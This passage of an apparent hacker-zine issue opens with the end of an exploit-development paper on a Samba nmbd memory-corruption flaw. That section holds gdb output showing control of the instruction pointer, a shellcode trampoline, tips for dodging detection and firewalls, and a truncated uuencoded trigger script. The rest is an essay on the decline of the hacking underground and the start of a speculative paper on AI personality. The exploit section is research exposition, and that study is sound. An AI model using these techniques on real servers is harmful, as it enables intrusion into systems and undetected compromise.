469                         BOOL trunc;
470                         BOOL authoritative;
471                 } nm_flags;
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472                 int rcode;
473                 int qdcount;
474                 int ancount;
475                 int nscount;
476                 int arcount;
477         } header;
478 
479         struct {
480                 struct nmb_name question_name;
481                 int question_type;
482                 int question_class;
483         } question;
484 
485         struct res_rec *answers;
486         struct res_rec *nsrecs;
487         struct res_rec *additional;
488 };

...

441 /* A resource record. */
442 struct res_rec {
443         struct nmb_name rr_name;
444         int rr_type;
445         int rr_class;
446         int ttl;
447         int rdlength;
448         char rdata[MAX_DGRAM_SIZE];
449 };
450 

...

include/smb.h:
1718 /* A netbios name structure. */
1719 struct nmb_name {
1720         nstring      name;
1721         char         scope[64];
1722         unsigned int name_type;
1723 };

...

1712 #define MAX_NETBIOSNAME_LEN 16
1713 /* DOS character, NetBIOS namestring. Type used on the wire. */
1714 typedef char nstring[MAX_NETBIOSNAME_LEN];
1715 /* Unix character, NetBIOS namestring. Type used to manipulate name in 
nmbd. */ 1716 typedef char unstring[MAX_NETBIOSNAME_LEN*4];
--------------------------------------------

Looking over the struct nmb_packet, we see that it may be useful to 
overwrite the qdcount, and set a count for either ancount, nscount, or
adcount (which map to the pointers: answers, nsrec and additional,
respectively). Since there are 12 bytes, we can directly control one set of
these. Hopefully, the control of the count arguments map to direct control 
of the same pointer, otherwise additional problems will be had.

Looking at these structure layouts, one way of setting this up would be to
analyze the stack layouts, and re-create the structures in the exploit code
,which then gets serialized / sent across the wire. 

One disadvantage of this model is that it needs additional flexibility 
due to difference in compiler output for different versions, and 
potentially different compiler flags / options / optimisations, as there 
may be additional padding / ordering, and other fun things to deal.

An additional problem with controlling a pointer to a "struct res_rec" is 
that that the rdlength field has to be a sane value, otherwise it may crash 
in memcpy, or, cause an EIP overwrite in the sendpacket() function in char
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buf[1024];. Both of these results would cause the process to crash :(. As
this is a single shot vulnerability, causing it to potentially crash is 
out of the question.

Since we’re unable to know contents of the memory we’re trying to leak in
advance, there doesn’t appear to be much point continuing down this path. 
That said, it may be possible to use certain static[] data to leak contents 
of the .bss and heap that may be useful. 

After initially being disappointed about this realisation, I realised that 
by using known static .bss location, we could hopefully leak the rest of 
the .bss, then, if we’re lucky, the heap allocation. One side effect of 
trying to leak the heap layout, is that it is not guaranteed to be straight 
after the nmbd .bss. (For example, default kernel on Fedora 8 ships with 
heap randomised and NOT after the .bss).

Due to this, we would need to find a suitable pointer to the heap in the
.bss. A suitable pointer value is:

 * One that is not allocated too early in the nmbd initialisation process.
   This requirement is because the res_rec structure size is fairly large,
   and if it is an early allocated structure, by adjusting the pointer so 
   that
   rdlength points to the integer, it may hit an unmapped page.
 * One that has a suitable small 4 byte integer value from the pointer
   location, so that we can continue the memory leaking / analysis.

Before we get too far ahead of ourselves, first we need to re-create the 
stack layout, and see if we can overwrite some of the counts / pointers 
correctly.

After doing some analysis of how the stack is laid out, (via IDA Pro 
Standard 5.2) we can start to adjust the exploit code to ensure it works. 
I added the applicable structure representations in python so that I could
set the values explicitly (for example, nmb_packet[’answers’] = 0x08049000)
, rather than having to hard code offsets / hex arrays. 

Unfortunately, it appears that the stack layout for FreeBSD 6.2’s Samba
release, the ancount variable is not aligned with the 6 byte writes :( :(

We can however influence the 2 most significant bytes (with least 2 
significant bytes being flags), but reviewing the
put_res_rec(), it kills the dream further:

--------------------------------------------
 398         for (i=0;i<count;i++) {
 399                 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
 400                 offset += l;
 401                 ret += l;
 402                 RSSVAL(buf,offset,recs[i].rr_type);
 403                 RSSVAL(buf,offset+2,recs[i].rr_class);
 404                 RSIVAL(buf,offset+4,recs[i].ttl);
 405                 RSSVAL(buf,offset+8,recs[i].rdlength);
 406                 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
 407                 offset += 10+recs[i].rdlength;
 408                 ret += 10+recs[i].rdlength;
 409         }
--------------------------------------------

Looping at a minimum of 65536 is out of the question, as the 1024 byte
buffer in send_packet() will quickly be overflowed, and the memcpy()
length parameter is unknown on subsequent calls.

Reviewing the flags that’s available to us:

--------------------------------------------
  77 /********************************************************************
  78 Get/Set problematic nb_flags as network byte order 16 bit int.
  79 ********************************************************************/
  80 
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  81 uint16 get_nb_flags(char *buf)
  82 {
  83         return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
  84 }
  85 
  86 void set_nb_flags(char *buf, uint16 nb_flags)
  87 {
  88         *buf++ = ((nb_flags & NB_FLGMSK) & 0xFF);
  89         *buf = ’\0’;
  90 }

  nameserv.h:
  89 /* Mask applied to outgoing NetBIOS flags. */
  90 #define NB_FLGMSK 0xE0

--------------------------------------------

We can see we control the most significant byte of the 2-byte flag, which 
is still highly undesirable, as the put_res_rec() code will loop at a 
minimum of thirty two times. 

Unfortunately, these restrictions prevent us from
setting the ancount to 1. Due to the 6 byte writes, the other fields nsrec
and additional will not be overwritten correctly. So far, it appears that
FreeBSD 6.2 default samba package is not vulnerable to this identified 
memory leak, which is unfortunate.

After a quick analysis of the nmbd binary in Ubuntu 7.10 default install, 
it appears the stack checking code re-ordered the buffers, and put the 
resource record after the packet structure - this means we can’t use it to 
leak memory from nmbd :( If we could of leaked memory, there may be a 
possibility to use that to reveal what the stack cookie is. If the stack \
cookie was leakable, and our 6 byte writes aligned correctly, we could 
exploit the process.

--[ 5.6.2 - Back to the future^W.bss

I decided to look at the crash state again, and see what we can do with 
the 15 byte static .bss value in name_to_key()

--------------------------------------------
Starting program: /usr/local/sbin/nmbd -F -D  -s smb.conf 
Program received signal SIGSEGV, Segmentation fault.
0x41414242 in ?? ()
(gdb) i r
eax            0x1      1
ecx            0x2834fd80       674561408
edx            0x40     64
ebx            0x42420000       1111621632
esp            0xbfbfe544       0xbfbfe544
ebp            0x5a5a0000       0x5a5a0000
esi            0x4242   16962
edi            0x41414242       1094795842
eip            0x41414242       0x41414242
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) 
--------------------------------------------

After looking at it again, we have:

 * partial control of ebx (two most significant bytes)
 * partial control of ebp (two most significant bytes)
 * partial control of esi (two least significant bytes)
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After thinking about this a little more, with a bit of experimentation, we
could use "xor [edi+offset], reg" to modify partial contents of the code
that we could execute.

Testing this theory out, we see:

--------------------------------------------
$ ndisasm -b 32 t
00000000  315F08            xor [edi+0x8],ebx
00000003  317708            xor [edi+0x8],esi
00000006  316F08            xor [edi+0x8],ebp
00000009  314708            xor [edi+0x8],eax
0000000C  315F08            xor [edi+0x8],ebx
0000000F  314F08            xor [edi+0x8],ecx
00000012  315708            xor [edi+0x8],edx
00000015  317F08            xor [edi+0x8],edi

simple toupper:

$ cat t | tr a-z A-Z | ndisasm -b 32 - 
00000000  315F08            xor [edi+0x8],ebx
00000003  315708            xor [edi+0x8],edx
00000006  314F08            xor [edi+0x8],ecx
00000009  314708            xor [edi+0x8],eax
0000000C  315F08            xor [edi+0x8],ebx
0000000F  314F08            xor [edi+0x8],ecx
00000012  315708            xor [edi+0x8],edx
00000015  317F08            xor [edi+0x8],edi
--------------------------------------------

From the above, we can see that we can’t use esi and ebp directly in the
xor argument, so if needed, we can push/pop around it. (This is not ideal,
as it reduces the space left that we may be critical.)

Looking quickly at this, we can do:
--------------------------------------------
xor [edi + <offset>], ebx 
push ebp
pop ebx
xor [edi + <offset>], ebx
sub esp, esi
jmp esp
--------------------------------------------

The last two instructions encode to \x29\xf4\xff\xe4, so that means we need
a byte with high bit set, that preferably expands to three bytes. (If the
previous sentence does not make sense, re-read the section on how the 
netbios name is converted due to charset issues). Quickly generating the 
applicable bytes, we see that \xb0 expands to \xe2\x96\x91, and is a 
suitable byte to use.

To get what we need:

--------------------------------------------
>>> hex(0xe2 ^ 0xf4) 
’0x16’
>>> hex(0x96 ^ 0xff)
’0x69’
>>> hex(0x91 ^ 0xe4)
’0x75’
--------------------------------------------

Putting all this together, we get: 

--------------------------------------------
Breakpoint 1, 0x08117f80 in keydata.21 ()
(gdb) x/10i $eip
0x8117f80 <keydata.21>: xor    %ebx,0x7(%edi)
0x8117f83 <keydata.21+3>:       push   %ebp
0x8117f84 <keydata.21+4>:       pop    %ebx
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0x8117f85 <keydata.21+5>:       xor    %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>:       sub    %esp,%edx
0x8117f8a <keydata.21+10>:      xchg   %eax,%esi
0x8117f8b <keydata.21+11>:      xchg   %eax,%ecx
0x8117f8c <keydata.21+12>:      dec    %ecx
...
(gdb) stepi
0x08117f83 in keydata.21 ()
(gdb) x/10i $eip
0x8117f83 <keydata.21+3>:       push   %ebp
0x8117f84 <keydata.21+4>:       pop    %ebx
0x8117f85 <keydata.21+5>:       xor    %ebx,0x9(%edi)
0x8117f88 <keydata.21+8>:       sub    %esi,%esp
0x8117f8a <keydata.21+10>:      call   *0x504e5749(%ecx)
0x8117f90 <keydata.21+16>:      add    %al,(%eax)
...
(gdb) stepi
0x08117f84 in keydata.21 ()
(gdb) 
0x08117f85 in keydata.21 ()
(gdb) 
0x08117f88 in keydata.21 ()
(gdb) x/10i $eip
0x8117f88 <keydata.21+8>:       sub    %esi,%esp
0x8117f8a <keydata.21+10>:      jmp    *%esp
...
(gdb) i r esi
esi            0x59e    1438
(gdb) x/10i $esp - $esi 
0xbfbfdfa6:     cld    
0xbfbfdfa7:     mov    %edi,%eax
0xbfbfdfa9:     addb   $0x0,(%eax)
0xbfbfdfac:     mov    %edi,%esi
0xbfbfdfae:     nop    
0xbfbfdfaf:     addb   $0x0,(%eax)
0xbfbfdfb2:     add    $0x3c,%esi
0xbfbfdfb5:     addb   $0x0,(%eax)
0xbfbfdfb8:     mov    %esp,%edi
0xbfbfdfba:     nop    
--------------------------------------------

One problem with the above, is that the first_layer_sc.asm needs to be
updated, as various things have changed. Such as edi pointing to the .bss
memory location, esp pointing to where we are currently executing, etc.
Those changes are relatively minor however.

Unfortunately, due to the half eip overwrite, we still need two addresses
to gain code execution. However, this mechanism is probably more reliable 
than relying on stack addresses to be the same each run.

--[ 5.7 - Additional exploitation notes

Registrations take a parameter called ttl (time to live).. looking at the
Samba source we see:

--------------------------------------------
static int get_ttl_from_packet(struct nmb_packet *nmb)
{
        int ttl = nmb->additional->ttl;

        if (ttl < lp_min_wins_ttl()) {
                ttl = lp_min_wins_ttl();
        }

        if (ttl > lp_max_wins_ttl()) {
                ttl = lp_max_wins_ttl();
        }

        return ttl;
}
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param/loadparam.c:
FN_GLOBAL_INTEGER(lp_min_wins_ttl, &Globals.min_wins_ttl)
Globals.min_wins_ttl = 60 * 60 * 6;     /* 6 hours default. */
Globals.max_wins_ttl = 60 * 60 * 24 * 6;        /* 6 days default. */
--------------------------------------------

This means that by default, we have just under 6 hours to send all the
required packets, and if we wanted, just under 6 days to exploit it. If the
registration packets are sent at appropriate intervals, this should avoid 
any signatures based on sending interval / query times. Another way to 
avoid simple detection, would be to use differing netbios registration 
flags, and avoid reasonably static ip addresses.

In addition to the above time out, with a little bit more effort, it’s
possible to use the existing file descriptor, and ip address / port
information in the packet structure passed to reply_netbios_packet(), in
order to avoid new network connections which may be noticed / firewall’d /
blocked in some way.

With further work against known targets, the ebp register could be restored
correctly, and execution flow could be restored to the appropriate point.
This would provide seamless exploitation. 

--[ 6 - References

[1] http://us1.samba.org/samba/security/CVE-2007-5398.html
    http://secunia.com/secunia_research/2007-90/advisory/
[2] http://www.wireshark.org
[3] http://oss.coresecurity.com/projects/impacket.html
[4] http://sourceforge.net/projects/tdb/
[5] http://www.cs.rice.edu/˜scrosby/hash/
[6] http://oss.coresecurity.com/projects/inlineegg.html
[7] http://www.phrack.org/issues.html?issue=59&id=7
[8] Bounds error: attempt to reference memory overrunning the end of an
    object. Pointer value: References, size: 1 

--[ 7 - Addendum 

I’m honoured that this paper was even considered worthy for inclusion. 
Thanks for the support ;)

I’ll be present at Ruxcon 2008, so come along and join in the fun. 
http://www.ruxcon.org.au/ - 29th November, 2008

Here is a proof of concept to trigger the issue:

begin 600 CVE-2007_5398-trigger.py
M(R$O=7-R+V)I;B]P>71H;VX@#0H-"FEM<&]R="!S=’)U8W0-"FEM<&]R="!I
M;7!A8VME="YS=’)U8W1U<F4-"FEM<&]R="!I;7!A8VME="YN;6(@#0II;7!O
M<G0@<F%N9&]M#0II;7!O<G0@<WES#0II;7!O<G0@<V]C:V5T#0II;7!O<G0@
M=&EM90T*#0IC;&%S<R!.34)?4F5G:7-T97)?4&%C:V5T*&EM<&%C:V5T+G-T
M<G5C=’5R92Y3=’)U8W1U<F4I.@T*"7-T<G5C=’5R92‘]("@-"@D)*"‘G=’)A
M;G-A8W1I;VY?:60G+"‘G(4@G("DL#0H)"2@@)V9L86=S)RP@)R%()RDL#0H)
M"2@@)W%U97-T:6]N<R<L("<A2"<@*2P-"@D)*"‘G86YS=V5R7W)R<R<L("<A
M2"<@*2P-"@D)*"‘G875T:&]R:71Y7W)R<R<L("<A2"<@*2P-"@D)*"‘G861D
M:71I;VYA;%]R<G,G+"‘G(4@G*2P-"@T*"0DH("=Q=65R>5]N86UE)RP@)S,T
M<R<I+‘T*"0DH("=Q=65R>5]T>7!E)RP@)R%()R‘I+‘T*"0DH("=Q=65R>5]C
M;&%S<R<L("<A2"<@*2P-"@D)#0H)"2@@)V%D9&ET:6]N86Q?;F%M92<L("<R
M<R<@*2P-"@D)*"‘G861D:71I;VYA;%]T>7!E)RP@)R%()RDL#0H)"2@@)V%D
M9&ET:6]N86Q?8VQA<W,G+"‘G(4@G("DL#0H)"2@@)W1I;65?=&]?;&EV92<L
M("<A3"<@*2P-"@D)*"‘G9&%T85]L96XG+"‘G(4@G("DL#0H)"2@@)V%D9&ET
M:6]N86Q?9FQA9W,G+"‘G(4@G("DL#0H)"2@@)V%D9&ET:6]N86Q?:7!A9&1R
M)RP@)R%,)R‘I#0H)*0T*#0IC;&%S<R!.34)?5’)I9V=E<E]086-K970H:6UP
M86-K970N<W1R=6-T=7)E+E-T<G5C=’5R92DZ#0H)<W1R=6-T=7)E(#T@*‘T*
M"0DH("=T<F%N<V%C=&EO;E]I9"<L("<A2"<@*2P-"@D)*"‘G9FQA9W,G+"‘G
M(4@G*2P-"@D)*"‘G<75E<W1I;VYS)RP@)R%()R‘I+‘T*"0DH("=A;G-W97)?
M<G)S)RP@)R%()R‘I+‘T*"0DH("=A=71H;W)I=’E?<G)S)RP@)R%()R‘I+‘T*
M"0DH("=A9&1I=&EO;F%L7W)R<R<L("<A2"<I+‘T*#0H)"2@@)W%U97)Y7VYA
M;64G+"‘G,S1S)RDL#0H)"2@@)W%U97)Y7W1Y<&4G+"‘G(4@G("DL#0H)"2@@
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M)W%U97)Y7V-L87-S)RP@)R%()R‘I+‘T*"2D-"@T*8VQA<W,@0U9%7S(P,#=?
M-3,Y.#H-"@T*"71A<F=E=’,@/2!;#0H)"7L@#0H)"0DG;F%M92<Z("=$96)U
M9V=I;F<G+‘T*"0D))V1E<V-R:7!T:6]N)SH@)U1H:7,@=&%R9V5T(&%I;7,@
M=&\@8W)A<V@@=&AE(’9U;&YE<F%B;&4@<V5R=FEC92<L#0H)"0DG<F5G:7-T
M97)?<&%C:V5T<R<Z(#$P,‘T*"0E]#0H)70T*"0D-"@T*"61E9B!?7VEN:71?
M7RAS96QF+"!H;W-T+"!T87)G970I.@T*"0EI9BAT87)G970@/"‘P(&]R(’1A
M<F=E="‘^(&QE;BAS96QF+G1A<F=E=’,I*3H-"@D)"7)A:7-E($5X8V5P=&EO
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-------------
Hacker’s Myth
-------------

This is a statement on the fate of the modern underground. There will
be none of the nostalgia, melodrama, black hat rhetoric or white hat
over-analysis that normally accompanies such writing.

Since the early sixties there has been just one continuous hacking
scene. From phreaking to hacking, people came and went, explosions of
activity, various geographical shifts of influence. But although the scene
seemed to constantly redefine itself in the ebb and flow of technology,
it always had a direct lineage to the past, with similar traditions,
culture and spirit.

In the past few years this connection has been completely severed.

And so there’s very little point in writing about what the underground
used to be; leave that to the historians. Very little point writing
about what should be done to make everything good again; leave that to
the dreamers and idealists. Instead I’m going to lay down some cold hard
facts about the way things are now, and more importantly, how they came
to be this way.

This is the story of how the underground died.

---------------------
The Security Industry
---------------------

        Then in the U.S. music scene there was big changes made
        Due to circumstances beyond our control... such as payola
        The rock n roll scene died after two years of solid rock
                - The Animals, circa 1964

There is little doubt that the explosion of the security industry has
directly coincided with the decline of the hacking scene. The hackers
of the eighties and nineties became the security professionals of the
new millennium, and the community suffered for it.

The fact is that hackers, mostly on an individual basis, decided to
use their passion as a source of income. Whether this is good, bad,
or just pragmatic is completely irrelevant. Nearly all the hackers that
could get jobs did. For the individuals that decision has been made (for
better or worse), and in general there’s nothing that will change this.

This was a hacker exodus. What really mattered was not the loss of any
individuals, but the cumulative effect this had on the underground. The
more hackers that left the underground for a corporate life, the fewer
that came in. And those who stayed became entrenched, increasingly
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disconnected.

Collaboration in this new age of career hackers has all but ceased to
exist. Individuals are now obsessed with credit. For their career, for
their standing in the community, it must be absolutely clear who this
research, this vulnerability, or even this opinion belongs to.

There is no trust in this corporate community; an underground issue
greatly amplified by corporate motivations. A single person can go months
or even years without telling anyone exactly what he is working on, and
whats more, will be genuinely worried about someone "publishing" their
results before him. There is no respect for the information he holds,
no belief that information should be free, no belief that research should
be open. All that matters is credit; all that matters is fame and money,
their career.

This is purely the fault of the security industry, who has exploited
and cultivated this culture, designed it for their needs. The truly sad
thing is that the corporate security world hasn’t realized that they are
sitting on a gold mine, and as a result the mine is likely to collapse;
and likely to take their industry down with it.

The security industry uses information as its sole commodity, information
about insecurity. Who has the information, and who doesn’t is what
makes this economy work. Whats more, the economy has been founded on
the continued output of a finite group of hackers. For the most part,
founded on those hackers that came out of the underground scene at their
technical prime.

But these hackers are not going to continue their production
indefinitely. They will lose their technical edge, move on to other
industries, perhaps climb the ladder up to management, and then
retire. The question is, then what? Then it will be up to the new wave
of young security professionals, whose motivation is as much financial
as it is passion for the technology and the thrill of the hacking game.

To imagine that these new wave office workers, university trained and
disinterested, can match the creative output of a genuine hacker is
laughable. The industry will stagnate under these conditions. The rapid
technical advancement we have seen will end, no more breakthroughs:
no more new security products or services. Just the same old techniques
being rehashed again and again until the rock has been bled dry.

I am trying to show you the symbiotic nature of the security industry
and the hacking scene. Industry needs insecurity to survive, there is
no doubt about this. A secure and stable Internet is not profitable for
long. Hackers provided instability, change, chaos. So the industry became
a parasite on the hacking scene, devouring the talent pool without giving
anything back, not thinking of what will happen when there are no more
hackers to consume.

For this reason, the security industry, much like the hacker underground,
is doomed, perhaps even destined for failure. But for now, all that
matters is that we have a thriving industry and...

A hacker underground proclaimed to be dead.

--------------------
Black Hat, Two Faces
--------------------

It would be easy to lay the blame squarely on the shoulders of the
security industry. A lot of people have. Unfortunately, its not that
simple. Perhaps the underground could have survived without the lure of
a six figure job, but one thing should be made clear. The self-proclaimed
black hat movement does nothing to help.

Various black hat groups have claimed to be the voice of the underground,
but the black hat scene was only ever a pale imitation of the actual
underground. The underground wasn’t at all interested in public
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self-aggrandizement, but this is all the black hats ever did. All that
their various rants and escapades accomplished was to show how desperate
they actually were for fame and recognition.

But whats worse, while they often talk a big game, they very rarely have
the pedigree to back it up. This is mostly because these self-proclaimed
black hats are really just as self-serving as the white hats they pretend
to detest. With few exceptions, those black hats that aren’t already
working in the security industry are those that don’t have the skills
to cut it.

The entire anti-security theme was simply embarrassing. This was just the
black hat movement admitting that they couldn’t step up and represent
in an increasingly technical world. Where once hacking skill commanded
respect, now the black hats were promoting misinformation in order to
make what few hacks they managed to pull off easier. They couldn’t step
up to a challenge, they couldn’t outsmart the white hats they so detest.

This ineptitude and misguided fervor of the black hat scene had a
massive negative impact on the hacking underground. The true voice of
the underground was lost behind the noise and drama, until the voice
became a whisper.

And then eventually fell silent.

----------
Technology
----------

The very nature of technology, a dynamic and intractable force, had a lot
to say in the demise of the hacking world. In many cases, if a black hat
had been active 5 or 10 years earlier they would have been technically
competent and may well have contributed significantly. This is because
with the utmost respect, and despite all the nostalgia, hackers of the
past had it easy.

In the early years, the problems hackers faced were largely related to the
availability of information. Isolated groups of people had their tricks
and techniques, and sharing this information was problematic. This is
in direct contrast with the situation today, where there is an excess
of information but a void of quality.

As a result of many differing factors, the world is becoming aware of the
threats posed by lax security. When there is money at risk, steps will
be taken to protect those assets. We see now an increasing move towards
technical security mechanisms being employed as part of a defense in
depth strategy, and as a result, to be a hacker today requires immense
technical ability in a broad range of disciplines. It takes years of
individual study to reach this level.

But unfortunately, fewer and fewer people are willing, or indeed capable
of following this path, of pursuing that ever-unattainable goal of
technical perfection. Instead, the current trend is to pursue the lowest
common denominator, to do the least amount of work to gain the most fame,
respect or money.

There has also been an increasingly narrow range in what is published. In
part this is because of the lack of accessibility of certain systems
(through obscurity or price), but this is also increasingly dictated by
fashion. In a desire to fit in with the community, to be accepted in
to conferences, to be seen doing the right things in the right places
with the right people, researchers are all too happy to slot in to this
pattern of predictable and narrow progress.

And even then, the standards of what makes acceptable research, or for
what makes a vulnerability interesting, drops with every year. The gap
between offensive research and defensive implementations continues to
grow, to the point where public vulnerability research has become a
parody of what it once was, a type of inside joke.
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There is no creativity, no sense of arcana anymore.

---------
Criminals
---------

From Operation Sundevil to cyber terrorism. The criminalization of
computer hacking and, by association, computer hackers had a devastating
impact on the underground. Hacking was criminalized in two ways, both
of near equal importance: by legislation of computer crimes, and by the
new trend of genuine criminals using hacking as a method for fraud.

There should be a clear separation between these two things. The fact
that the underground collectively became criminals under the law for
what they had been doing for, in some cases, decades. And the fact that
in public perception, even among professionals that should know better,
there was very little distinction between a genuine hacker and those
criminals using hacking purely as a method for profit.

Indeed, little of what organized crime and terrorist/activist groups
are doing could justifiably be labeled hacking. It is simply convenient
to make this simplification, in media and in industry. The security
industry knows the difference, but they have no economic interest in
there being any clarity on this point. Any sort of hacking, anything
they can sensationalize enough to scare their profit margin up suits
them perfectly.

For the underground, these issues largely affected individuals, not the
broader structure of things. Each person had to make a personal decision
on whether it was worth 1) being seen as a criminal under the law and
2) being seen as a criminal in public perception. Why should the hacker
face this when such an easy, safe, respectable alternative is available
in the security industry?

Even the term black hat has been twisted into something more closely
aligned to organized crime. For all their faults, black hats were not
(in theory) motivated by this type of money.

It comes down to an aging hacking population deciding, on an individual
basis, to settle down with their families, their material possessions,
their careers. No one can argue that there is anything wrong with this. It
is just a fact that these hackers left the scene behind.

Leaving a void too large to be filled.

---------------
Forgotten Youth
---------------

The forgotten aspect of this whole story is, without doubt, the importance
of new talent entering the world of hacking. Historically, hacking has
belonged to the young. With every passing year, the average age of hackers
collectively increases. Some would claim this is a sign of a maturing
discipline. For surely, what could youth possibly contribute in this
technological landscape? They call them kids, dismiss them as irrelevant.

Despite all of the issues facing the underground, if hackers had managed
to get this one aspect right, if they had recognized the importance
of those who would come after them, if they had given them something
to aspire to be, if they had directly or indirectly taught them the
accumulated wisdom that so often separates a hacker from the crowd;
then perhaps there still would be a hacker underground.

Nearly all of the situations surrounding the disestablishment of the
underground were circumstantial, there was nobody to blame, and nothing
that could be done. But one point for which this was not true was the
underground’s obligations to young hackers. An entire generation of
talented hackers have lost the opportunity to become a part of something
bigger than themselves by participating in a functioning hacking
community, simply because hackers were too self-absorbed to notice.
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The decline of the underground scene happened relatively quickly, and
also relatively quietly. The hacker who left the underground behind
for his new life was unlikely to justify or explain his choices. In
fact it was more likely he would deny being changed at all. It’s likely
he’d even continue to have contact with his fellow ex-hackers, in some
imitation of the underground scene. This only helped to obscure what
was actually happening.

Today’s youth, for the most part, have no true understanding of hackers
or hacking. They have no knowledge of the history, no knowledge that
a history even exists. Their hacker is the media’s hacker, the cyber
terrorist, the Russian mafia. This is unfortunate, but the real trouble
begins for those few that somehow become interested enough to look a
bit deeper.

The average person requires some form of role model, something to aspire
to, to imitate and to an extent, to idolize. At this time, the only
visible efforts were the white hat researchers, the black hat horde or
various other technically inept self-proclaimed ’experts’. There is so
little inspiring research, and even less inspiring hacking, that anyone
new to the world of hacking is almost invariably left with a skewed
impression of things.

Indeed, for a lot of the young people that managed to acquire the
necessary technical base, hacking was seen as simply an interesting career
path. There is no passion in these people, no motivation to extend and
create. A competent professional, valued employee.

But no longer a hacker.

----------------
The Forward Link
----------------

The hacker underground has been systematically dismantled, a victim of
circumstance. There was no reason for this, no conspiracy, no winner. A
conquered people, but with no conqueror, no enemy to fight. No chance
of rebellion. Conquered by circumstance, if not fate.

At first this would seem to be a bleak message. What is the point of
even trying anymore? Why practice a dead art? But the truth is that the
art is not dead, just the circle that brought the artists together. The
hacker underground is broken, but the hackers are not.

Casualties have been high; but there still exists a scattered,
marginalized, and misrepresented people who are the hackers. Hackers,
not black hat nor white, not professionals, not amateurs (surely none
of this matters), are still out there in this world today, still with
all the potential to be something great.

The question is not then how to artificially group these people into a
new underground movement. The question is not how to mourn the passing of
the golden days, how to keep the memories alive. There are no questions
of this sort, no problems that can be solved or corrected by individual
action.

All that remains is to relax, to do what you enjoy doing; to hack purely
for the enjoyment of doing so. The rest will come naturally, a new
scene, with its own traditions, culture and history. A new underground,
organically formed over time, just like the first, out of the hacker’s
natural inclination to share and explore.

It will take time, and there will be difficulties. Some will not be able
to let go of the past, and some will fail for not remembering it. But
in the end, after everything has been said and done, the equilibrium
will be restored.

A new world, at the frontier of cyberspace, belonging to the hackers
by right.
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In 1956 John McCarthy defined the term Artificial Intelligence as
"The science and engineering of making intelligent machines".
Obviously, while studying artificial thoughts processing, we eliminated 
the human factor of Neuro-linguistic filters that the brain applies on the 
meta receptors layer. A computer program simply will never tackle a thought
based on impulsive reactions. There is no human behaviorism in AI.
Instead, we substitute this mechanism with an algorithm of computational 
processing and information storage indexing. Here resides the very core of 
AI science. Many algorithms have been evolved and applied, overcoming
faulty thinking, infinite loops of exclusive-OR decision making, and
geographic/territorial mapping of robotics, and so forth.
Fifty two years later, we intend to rationalize a new approach to this 
field, trying to keep away from science fiction.

This paper is fairly introductory to both classic AI and our AI model,
and requires no prerequisite except a bit of curiosity for this field,
so enjoy reading.

---------------------------------------------------------------------------

I. Introduction
   a) Abstract
   b) Central Processing Spirit

II. Character assignment design
a)      Psychological growth
b)      Neuro-performance
c)      Reception -> Reactions -> Style

III. Ontology / knowledge engineering
a)      Are we Heuristics?
c)      Sub-symbolic design
d)      Artificial Desire
e)      Reasoning

IV. Conclusion

I.      Introduction

a) As a primary reflection on Artificial Intelligence, one must find it 
vital to proceed according to a precise scientific approach for analysis
of thoughts. 
A thought is an idea. A piece of information that the mind recalls.
This (POI) is processed by the chemo-electronic factory of the brain, 
and gets tainted by the MIND. Neuro Linguistic Programming theories 
organized the brain functions and how it deals with information through 
various filters. We borrow a basic segment and build upon it a 
resemblance in machine land:

- Similar thoughts stored in memory (anchoring)
- Virtues and choices (decision making)
- Freedom to take risk endeavors. (problem solving)
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b) To tackle this ordeal from ground zero would be an enormous load on one 
article or paper to handle. Therefore we assumed our study from a point 
where we have advanced in applying to our AI subject, using the
international common speech utility that is the English language, coupled
with a set of rules we engineer as an esthetical appeal for this entity.
These rules, as we will explain later on, do not follow the EXPERT SYSTEM
decision making logic, where as human knowledge changes, the entire module
will have to be rebuilt; instead our model will take its decisions based on
Index Priority, that varies automatically as the AI experiences new events.
In other words, we design our program a personality. This generic model is
based on dual channel thought processing, fed by a hierarchy of database
storage devices where each family of thoughts is preserved in its own
design. Some of these databases, or sets of thoughts, will have a read only
access permission, some will have read and write access permission, and
some will only have write permissions, to be used as a temporary allocated
space for acquired thoughts before sending the entire data structure to
Central Processing Spirit. As we amusingly named(CPS).

While the read only access structures will hold information that relate
only 
to the fundamentals of the entity’s core design, and provide our first line
of defense once the automation process of Self Information Gathering (SIG) 
will be launched; From supplied text experts, web information, news, and
much more feeds;
the write only permission space will be as such for the sake of restricting
the AI entity from any premature usage of these new acquired thoughts
before 
being processed, organized and approved by the CPS (or the programmer). 

Thinking about this design will surely summon up issues of time
consumption. 
How long will this construction take?
A minimum of one human lifetime? But that is highly acceptable with the 
implementation of 2nd generation AI replication algorithms, which is a 
base model of AI hybrid reproduction, resulting in the jointure of 2 AI 
entities CPS and dBases.
This dual model inheritance is not designed to be similar to the human 
reproduction between one male and one female human beings, but it has 
to do with the design of dual channel thought processing as mentioned 
previously. We tend to believe that our model’s reproduction, has to occur
between one couple. 
This is matter of MULTI AGENT PLANNING and community scheduling, 
and is beyond the scope of this paper.

II. Character assignment design

a)      Psychological growth.
"It’s not how perfect you do something that’s important, but how others 
perceive it."
A famous question is always there. Could a machine have life, or will it be
dry simulation. Basically, this should not matter at all!

Regardless of the process a human being achieves in developing a unique
character, and the tremendous complexity that subsists in his
neuropsychological growth, it almost only pertains to how others interpret 
his reactions and behavior. 
That in mind, we couldn’t care less about how a machine obtaining a real
genuine thought, or a lifelike style of its own. We will design an
algorithm of learning that will eventually attribute a character to the
machine, depending on how much and how fast it could process the SELECTED
REACTIONS.

In other terms, given one action that is having ten children listen to an
adult instruction such as "Finish your homework, then watch TV" we could
observe ten different reactions ranging from obedience, to defiance. And
that relates to:
-       How bad the child wants to watch TV
-       How important are his homework
-       What is shown on TV
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-       Is it a circumstance free situation or has it to do with another 
      (might say no in revenge for not having ice cream an hour ago)
-       and much more situational parameters.

In machine land, our CPS would have built a certain database of events in 
correlation with the outcome that happened, indexed them according to a 
judgmental scale, and throughout its uptime, it will select how to react 
upon life events according to what it has been fed as an Index Key
Priority.

Technically speaking, this is very easily programmable with recent database
technologies and language. The more parenting and training our CPS takes,
and efficiency in our database selection design, the more chances are to
obtain a unique character and attitude.

b) The two paradigms of learning that concern us are:
SUPERVISED and UNSUPERVISED. 

First, let us talk about the basics of machine learning. 
Classic AI always outlined machine learning from reaching a state of
consciousness, as it is believed that computer learning is only about
